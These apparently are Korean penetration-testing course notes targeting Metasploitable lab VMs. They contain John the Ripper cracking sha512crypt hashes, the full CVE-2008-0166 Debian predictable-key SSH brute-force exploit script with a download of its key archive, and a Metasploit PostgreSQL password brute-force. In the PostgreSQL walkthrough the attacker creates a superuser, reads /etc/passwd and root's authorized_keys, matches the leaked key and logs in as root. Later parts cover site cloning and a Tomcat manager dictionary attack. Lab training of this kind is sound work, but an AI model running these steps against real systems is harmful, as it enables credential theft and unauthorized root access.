root:$6$WEVVa8qf$Q9ERxWghMVy/KNq3xK9Ge7P.6dDpow0G8kT62W3DIcnCMC7ZOpX.i/SOuW0GHqPiN8YH1qfgOXoShMvsgORYb.:0:0:root:/root:/bin/bash
user01:$6$imj7YGai$xuWGmzdiO6wL3isEmuY4u8x0zMvmVykX0zevARtUPdlFiIu.wWg8kvvUiEvadJxkguQLCdYW1LBtz79nYMH0h.:1000:1001::/home/user01:/bin/sh
hacker:$6$PF.H7yiD$OISfS9/OxP2QMvM6zxU8W4T55gZe./d6mQ4O7HBPpJBwRaTQQu3VvmFkg/MjsXbPqrxsIrMECFbwnPK56qKUn.:1001:1002::/home/hacker:/bin/bash


# john passwd.txt

Created directory: /root/.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 2 password hashes with 2 different salts (sha512crypt [32/32])
toor             (root)
user01           (user01)
guesses: 2  time: 0:00:00:00 DONE (Tue Jul 22 16:41:27 2014)  c/s: 29.62  trying: user01 - toor
Use the "--show" option to display all of the cracked passwords reliably


# john passwd2.txt

Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 3 password hashes with 3 different salts (sha512crypt [32/32])
Remaining 1 password hash



[TERM2] 두번째 터미널에서
# john --show passwd2.txt

root:toor:0:0:root:/root:/bin/bash
user01:user01:1000:1001::/home/user01:/bin/bash

2 password hashes cracked, 1 left


# john --show=LEFT passwd2.txt

Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
hacker:$6$PF.H7yiD$OISfS9/OxP2QMvM6zxU8W4T55gZe./d6mQ4O7HBPpJBw......

John The Ripper
(GUI) johnny 툴
(TUI) john CMD


# cd /root/bin
# ls
passwd.txt (root, user01)
passwd2.txt(root, user01, hacker)

# johnny
Open Password File 선택
    EX: /root/bin/passwd2.txt
Options 선택
    기본값 사용
Statistics 선택(how login johnny has been running an active session.)
    기본값 사용
Settings 선택
    기본값 사용
Output
    상단 부분의 "Start Attack" 선택
    왼쪽 상단의 "Passwords" 선택










'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160624 정보수집단계  (0) 2016.06.24
20160623 정보수집단계  (0) 2016.06.23
20160621 정보수집단계  (0) 2016.06.21
20166020 코드엔진 아카이브  (0) 2016.06.21
20160620 정보수집단계  (0) 2016.06.20
Posted by 22Hz
, |

=======================================================================================================
[실습] One liner commands for windows – cheat sheet
http://travisaltman.com/one-liner-commands-for-windows-cheat-sheet/
-> 다음 사이트의 명령어를 정리한다.(약 20분)
=======================================================================================================

[실습] PostgreSQL Bruteforce, Obtain and Crack Root SSH key

■ 사용시스템
● Metasploitable V2 Linux
● KaliLinux


What is exploit CVE-2008-0166?
● OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a random number generator that generates predictable numbers, which makes it easier for remote attackers to conduct brute force guessing attacks against cryptographic keys.
● We will use this exploit to download 32768 potential ssh private/public key pairs for a future brute force attack.
● http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166


http://www.exploit-db.com
-> 오른쪽 상단의 search 을 선택한다.
-> CVE 번호: CVE-2008-0166 으로 검색한다.
-> 그럼 아래와 같은 목록이 나오면 선택한다.


2008-06-01  Predictable PRNG Bruteforce SSH Exploit (Python)




#!/bin/python
#       This program is free software; you can redistribute it and/or modify
#       it under the terms of the GNU General Public License as published by
#       the Free Software Foundation; either version 2 of the License, or
#       (at your option) any later version.
#
#       This program is distributed in the hope that it will be useful,
#       but WITHOUT ANY WARRANTY; without even the implied warranty of
#       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#       GNU General Public License for more details.
#
#       You should have received a copy of the GNU General Public License
#       along with this program; if not, write to the Free Software
#       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
#       MA 02110-1301, USA.
############################################################################
# Autor: hitz - WarCat team (warcat.no-ip.org)
# Collaborator: pretoriano
#
# 1. Download https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
#
# 2. Extract it to a directory
#
# 3. Execute the python script
#     - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
#     - execute: python exploit.py (without parameters) to display the help
#     - if the key is found, the script shows something like that:
#         Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
#         Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
############################################################################
 
 
import Queue
import os
import string
import time
from threading import Thread
import sys
 
#This class only has a boolean, which will be True if some thread find the key
class End():
    def __init__(self):
        self.end = False
        
    def Finish(self):
        self.end = True
    
    def GetEnd(self):
        return self.end
        
 
#This is the thread class
class Connection(Thread):
    def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'):
        Thread.__init__(self)
        self.QueueDir = QueueDir
        self.TheEnd = TheEnd
        self.dir = dir
        self.host = host
        self.user = user
        self.port = port
            
    def run(self):
        while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()):
            key = self.QueueDir.get()
            
            cmd = 'ssh -l ' + self.user
            cmd = cmd + ' -p ' + self.port
            cmd = cmd + ' -o PasswordAuthentication=no'
            cmd = cmd + ' -i ' + self.dir + '/' + key
            cmd = cmd + ' ' + self.host + ' exit; echo $?'
            
            pin,pout,perr = os.popen3(cmd, 'r')
            pin.close()
            
            #To debug descoment the next line. This will show the errors reported by ssh
            #print perr.read()
            
            if pout.read().lstrip().rstrip() == '0':
                self.TheEnd.Finish()
                print ''
                print 'Key Found in file: '+ key
                print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host)
                print ''
        
print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org'
 
if len(sys.argv) < 4:
    print './exploit.py <dir> <host> <user> [[port] [threads]]'
    print '    <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash'
    print '    <host>: The victim host'
    print '    <user>: The user of the victim host' 
    print '    [port]: The SSH port of the victim host (default 22)'
    print '    [threads]: Number of threads (default 4) Too big numer is bad'
    
    sys.exit(1)
    
dir = sys.argv[1]
host = sys.argv[2]
user = sys.argv[3]
 
if len(sys.argv) <= 4:
      port='22'
      threads=4
else:
    if len(sys.argv) <=5:
        port=sys.argv[4]
        threads = 4
 
    else:
        port=sys.argv[4]   
        threads = sys.argv[5]
 
ListDir = os.listdir(dir)
QueueDir=Queue.Queue()
TheEnd = End()
 
for i in range(len(ListDir)):
    if ListDir[i].find('.pub') == -1:  
        QueueDir.put(ListDir[i])
 
initsize = QueueDir.qsize()
tested = 0
 
for i in range(0,int(threads)):
    Connection(QueueDir,TheEnd,dir,host,user,port).start()
 
 
while (not TheEnd.GetEnd()) and (not QueueDir.empty()):
    time.sleep(5)
    actsize = QueueDir.qsize()
    speed = (initsize - tested - actsize)/5
    tested = initsize - actsize
    
    print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed)
 
# milw0rm.com [2008-06-01]







① 선수 작업

■ (선수작업1)
(KaliLinux)
# cd /var/tmp
# wget --no-check-certificate \
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/5622.tar.bz2
-> 출력 내용 생략
# ls -l 5622*
-> 출력 내용 생략
# tar xvjf 5622.tar.bz2
-> 출력 내용 생략


■ (선수작업2)
(Metasploitable V2)
관리자 암호 설정
msfadmin 사용자로 로그인

$ sudo su -
# passwd
-> 관리자 암호를 soldesk1. 설정한다.


(KaliLinux)
② 포트 스캐닝 작업
# nmap -sV 192.168.10.134

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-07 21:18 KST
Nmap scan report for 192.168.10.134
Host is up (0.000095s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds


③ PostgreSQL 서버의 ID/PASS dictionary attack
# msfconsole -q

msf > search postgres_login

Matching Modules
================

   Name                                       Disclosure Date  Rank    Description
   ----                                       ---------------  ----    -----------
   auxiliary/scanner/postgres/postgres_login                   normal  PostgreSQL Login Utility


msf > use auxiliary/scanner/postgres/postgres_login
msf auxiliary(postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):

   Name              Current Setting                                                               Required  Description
   ----              ---------------                                                               --------  -----------
   BLANK_PASSWORDS   false                                                                         no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                             yes       How fast to bruteforce, from 0 to 5
   DATABASE          template1                                                                     yes       The database to authenticate against
   DB_ALL_CREDS      false                                                                         no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                         no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                         no        Add all users in the current database to the list
   PASSWORD                                                                                        no        A specific password to authenticate with
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt      no        File containing passwords, one per line
   Proxies                                                                                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RETURN_ROWSET     true                                                                          no        Set to true to see query result sets
   RHOSTS                                                                                          yes       The target address range or CIDR identifier
   RPORT             5432                                                                          yes       The target port
   STOP_ON_SUCCESS   false                                                                         yes       Stop guessing when a credential works for a host
   THREADS           1                                                                             yes       The number of concurrent threads
   USERNAME          postgres                                                                      no        A specific username to authenticate as
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt  no        File containing (space-seperated) users and passwords, one pair per line
   USER_AS_PASS      false                                                                         no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt      no        File containing users, one per line
   VERBOSE           true                                                                          yes       Whether to print output for all attempts

msf auxiliary(postgres_login) > set RHOSTS 192.168.10.134
RPORT => 192.168.10.134
msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(postgres_login) > exploit

[-] 192.168.10.134:5432 POSTGRES - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.10.134:5432 POSTGRES - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.10.134:5432 - LOGIN SUCCESSFUL: postgres:postgres@template1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(postgres_login) > exit







④ PostgreSQL 서버 접속하여 작업
# psql -h 192.168.10.134 -U postgres

postgres 사용자의 암호: (postgres)
psql(9.5.0, 8.3.1 서버)
SSL 연결정보 (프로토콜: TLSv1, 암호화기법: DHE-RSA-AES256-SHA, 비트: 256, 압축: off)
도움말을 보려면 "help"를 입력하십시오.

postgres=# help
PostgreSQL에 대한 명령행 인터페이스인 psql을 사용하고 있습니다.
사용법:  \copyright 저작권 정보
         \h SQL 명령 도움말
         \? psql 명령 도움말
         \g 또는 명령 끝에 세미콜론(;) 쿼리 실행
         \q 종료
postgres=# select version();     /* PostgreSQL 버전 확인 */
                                            version

-----------------------------------------------------------------------------------------------
 PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1개 행)

postgres=# select * from pg_user;    /* pg_user 테이블 안의 내용 확인 */
 usename  | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig
----------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres |       10 | t           | t        | t         | ******** |          |
(1개 행)

postgres=# create user hacker with password 'abc123'; /* 새로운 사용자 생성 */
CREATE ROLE
postgres=# select * from pg_user;
 usename  | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valuntil | useconfig
----------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres |       10 | t           | t        | t         | ******** |          |
 hacker   |    16384 | f           | f        | f         | ******** |          |
(2개 행)

postgres=# alter user hacker with superuser;        /* 사용자의 권한 변경 */
ALTER ROLE
postgres=# select * from pg_user;
 usename  | usesysid | usecreatedb | usesuper | usecatupd |  passwd  | valunti l| useconfig
----------+----------+-------------+----------+-----------+----------+----------+-----------
 postgres |       10 | t           | t        | t         | ******** |          |
 hacker   |    16384 | f           | t        | t         | ******** |          |
(2개 행)

postgres=# \dn        /* 모든 스키마(schemas) 출력 */
스키마(schema) 목록
  이름  |  소유주
--------+----------
 public | postgres
(1개 행)

postgres=# \l        /* 모든 데이터베이스(databases) 출력 */
                   데이터베이스 목록
   이름    |  소유주  | 인코딩 |      액세스 권한
-----------+----------+--------+-----------------------
 postgres  | postgres | UTF8   |
 template0 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
 template1 | postgres | UTF8   | =c/postgres          +
           |          |        | postgres=CTc/postgres
(3개 행)

postgres=# create table accounts (linux_users text);    /* accounts 테이블 생성 */
CREATE TABLE
postgres=# copy accounts from '/etc/passwd';        /* accounts 테이블에 내용 복사 */
COPY 39
postgres=# select * from accounts where linux_users like '%bash%';
                /* accounts 테이블에 bash 단어를 가진 목록 확인 */
                                 linux_users
------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
 postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
 user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
 service:x:1002:1002:,,,:/home/service:/bin/bash
 user1:x:1003:1003::/home/user1:/bin/bash
 student:x:1004:1004::/home/student:/bin/bash
(7개 행)

postgres=# create table sshkeys (auth_key text);    /* sshkeys 테이블 생성 */
CREATE TABLE
postgres=# select * from accounts where linux_users like '%bash%';
                                 linux_users
------------------------------------------------------------------------------
 root:x:0:0:root:/root:/bin/bash
 msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
 postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
 user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
 service:x:1002:1002:,,,:/home/service:/bin/bash
 user1:x:1003:1003::/home/user1:/bin/bash
 student:x:1004:1004::/home/student:/bin/bash
(7개 행)

postgres=# copy sshkeys from '/root/.ssh/authorized_keys';   
            /* /root/.ssh/authorized_keys 내용을 sshkeys 파일에 복사 */
COPY 2
postgres=# \q        /* PostgreSQL 접속 해제 */


# psql -h 192.168.10.134 \
-U postgres \
-c 'select * from sshkeys limit 1' | tee sshkeys.txt

postgres 사용자의 암호: (postgres)
                                                                                                                                                                                                       auth_key                                                                                                                                                                                                
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
(1개 행)

-> PostgreSQL 서버에 생성된 sshkeys 테이블의 내용을 sshkeys.txt 파일에 저장

# ls -l sshkeys.txt

-rw-r--r-- 1 root root 1232  4월  7 22:05 sshkeys.txt


# grep "ssh-rsa" sshkeys.txt | awk '{print $2}'

AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w==

-> sshkeys.txt 파일의 내용 중 "ssh-rsa"을 검색하여 두번째 필드를 출력


# grep "ssh-rsa" sshkeys.txt | awk '{print $2}' | sed 's/==$//'

AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w

-> sshkeys.txt 파일의 내용 중 마자막 부분의 "==" 부분을 삭제
 
# fgrep `grep "ssh-rsa" sshkeys.txt | awk '{print $2}' | sed 's/==$//'` \
/var/tmp/rsa/2048/*.pub | tee keys.txt

/var/tmp/rsa/2048/57c3115d77c56390332dc5c49978627a-5429.pub:ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== root@targetcluster

-> /var/tmp/rsa/2048/*.pub 파일들의 내용 중에서 sshkeys.txt 파일과 동일한 내용 검색하여
   keys.txt 파일에 저장

# cat keys.txt

/var/tmp/rsa/2048/57c3115d77c56390332dc5c49978627a-5429.pub:ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== root@targetcluster


# cat keys.txt | awk -F: '{print $1}'

/var/tmp/rsa/2048/57c3115d77c56390332dc5c49978627a-5429.pub

-> /var/tmp/rsa/2048 디렉토리안의 파일 중 keys.txt 파일의 내용이 들어 있는 파일 이름과 필터링

# cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'

/var/tmp/rsa/2048/57c3115d77c56390332dc5c49978627a-5429

-> 파일의 이름 중 .pub 확장자를 필터링

# ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` root@192.168.10.134

Last login: Thu Apr  7 21:05:17 2016 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.


# hostname

metasploitable


# id

uid=0(root) gid=0(root) groups=0(root)


# exit
# ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` \
root@192.168.10.134 "hostname;id"

metasploitable
uid=0(root) gid=0(root) groups=0(root)




[참고] 여러가지 명령어를 수행해 본다.
# vi cmd.sh

#!/bin/bash

ssh -i `cat keys.txt | awk -F: '{print $1}' | sed 's/.pub//'` \
root@192.168.10.134 $*


# chmod 755 cmd.sh
# ./cmd.sh hostname
# ./cmd.sh id
# ./cmd.sh ifconfig -a

[실습] HTTrack 툴을 사용한 사이트 클론(Clone) 구성

■ 사용시스템
- KaliLinux
- Metasploitable V2 Linux

    powerfuzzer : 웹디렉토리 목록과 파일 목록화
    HTTrack     : 웹디렉토리 목록과 파일 목록화 + 파일 다운로드(site cloner)

① httrack 프로그램 설치
# apt-get install httrack

Reading package lists... Done
Building dependency tree      
Reading state information... Done
The following extra packages will be installed:
  libhttrack2
Suggested packages:
  webhttrack httrack-doc
The following NEW packages will be installed:
  httrack libhttrack2
0 upgraded, 2 newly installed, 0 to remove and 318 not upgraded.
Need to get 415 kB of archives.
After this operation, 1,095 kB of additional disk space will be used.
Do you want to continue [Y/n]? Y
Get:1 http://http.kali.org/kali/ kali/main libhttrack2 i386 3.46.1-1 [377 kB]
Get:2 http://http.kali.org/kali/ kali/main httrack i386 3.46.1-1 [38.0 kB]
Fetched 415 kB in 2s (162 kB/s)  
Selecting previously unselected package libhttrack2.
(Reading database ... 337773 files and directories currently installed.)
Unpacking libhttrack2 (from .../libhttrack2_3.46.1-1_i386.deb) ...
Selecting previously unselected package httrack.
Unpacking httrack (from .../httrack_3.46.1-1_i386.deb) ...
Processing triggers for man-db ...
Setting up libhttrack2 (3.46.1-1) ...
Setting up httrack (3.46.1-1) ...


② 웹 사이트 클론 디렉토리 생성 및 확인
# mkdir /mywebsites
# cd /mywebsites

③ HTTrack 툴을 이용한 사이트 클론 구성
# httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.46+libhtsjava.so.2
Copyright (C) Xavier Roche and other contributors
To see the option list, enter a blank line or try httrack --help

Enter project name : example.com

Base path (return=/root/websites/) : /mywebsites

Enter URLs (separated by commas or blank spaces) : 192.168.10.134  /* www.example.com */

Action:
(enter)    1    Mirror Web Site(s)
    2    Mirror Web Site(s) with Wizard
    3    Just Get Files Indicated
    4    Mirror ALL links in URLs (Multiple Mirror)
    5    Test Links In URLs (Bookmark Test)
    0    Quit
: 2

Proxy (return=none) : [ENTER]

You can define wildcards, like: -*.gif +www.*.com/*.zip -*img_*.zip
Wildcards (return=none) : [ENTER]

You can define additional options, such as recurse level (-r<number>), separed by blank spaces
To see the option list, type help
Additional options (return=none) : [ENTER]

---> Wizard command line: httrack 192.168.10.134 -W -O "/mywebsites/example2.com"  -%v

Ready to launch the mirror? (Y/n) : Y

WARNING! You are running this program as root!
It might be a good idea to use the -%U option to change the userid:
Example: -%U smith

Mirror launched on Fri, 08 Aug 2014 13:13:45 by HTTrack Website Copier/3.46+libhtsjava.so.2 [XR&CO'2010]
mirroring 192.168.10.134 with the wizard help..


④ 두번째 터미널에서 클론을 뜨고 있는 중간에 웹사이트 클론 디렉토리 확인
[TERM2] 두번째 터미널
사이트 클론 뜨고 있는 중간에 임시적으로 확인해 보자.

# cd /mywebsites
# ls

example.com/


# cd example.com
# ls

192.168.10.134/  fade.gif    hts-in_progress.lock  index.html
backblue.gif     hts-cache/  hts-log.txt


# cd 192.168.10.134
# ls

dav/  dvwa/  index.html  mutillidae/  phpMyAdmin/  twiki/


# cd twiki
# find .

.
./readme.txt
./TWikiHistory.html.tmp
./bin
./bin/view
./bin/view/Main
./bin/view/Main/WebHome.html.tmp
./TWikiDocumentation.html.tmp
./readme.txt.tmp
./index.html
./license.txt


<httrack 프로그램은 종료한다.>



(정리) 웹사이트 디렉토리/파일 목록화 및 클론 구성
● powerpuzzer 툴 : 웹 사이트 디렉토리/파일 목록화
● httrack 툴     : 웹 사이트 클론 구성



[실습] 메타스플로잇을 사용하여 서비스 취약점 점검(톰캣(Tomcat) 취약점 공격)

■ 사용시스템
- KaliLinux
- Metasploitable V2 Linux

● 메타스플로잇을 사용하여 톰캣의 취약점을 공격해 보자.
● Tomcat V5 관리자 페이지에서 기본으로 사용되는 몇가지 취약한 계정의 정보를 대입해 알아보는 tomcat_mgr_login 스캔 도구를 사용한다.

(KaliLinux)

① 타겟 시스템의 포트/서비스/버전을 확인
# nmap -sV -p 1-65535 192.168.10.134     /* metasploitable V2 Linux ip : 192.168.10.134 */

Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-17 21:06 KST
Nmap scan report for 192.168.10.134
Host is up (0.00024s latency).
Not shown: 65505 closed ports
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  rmiregistry GNU Classpath grmiregistry
1524/tcp  open  shell       Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         Unreal ircd
6697/tcp  open  irc         Unreal ircd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
42043/tcp open  mountd      1-3 (RPC #100005)
48481/tcp open  unknown
50478/tcp open  status      1 (RPC #100024)
56189/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 165.23 seconds

-> 약간 시간이 걸림

② 기본 홈페이지(tomcat)에 접근
# firefox http://192.168.10.134:8180/
-> Apache Tomcat/5.5 버전이 설치 되어 있다.(기본 페이지의 왼쪽 상단 부분에 대한 정보 확인)
-> 만약 기본 설정만 되어 있다면 관리자 페이지에 접근이 가능하다.

# firefox http://192.168.10.134:8180/manager/html
-> 관리자 페이지의 아이디/패스워드 물어 보는 화면이 나올것이다.
-> 확인만 하고 접속을 해제 한다.
③ Tomcat 홈페이지의 관리자 페이지를 가지고 Dictionary Attack 수행

    [참고] 에러메세지
    # msfconsole
    [-] Failed to connect to the database: could not connect to server: Connection refused
        Is the server running on host "localhost" (::1) and accepting
        TCP/IP connections on port 5432?
    could not connect to server: Connection refused
        Is the server running on host "localhost" (127.0.0.1) and accepting
        TCP/IP connections on port 5432?
    msf > quit
    # service postgresql start
    # msfconsole

# msfconsole

 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


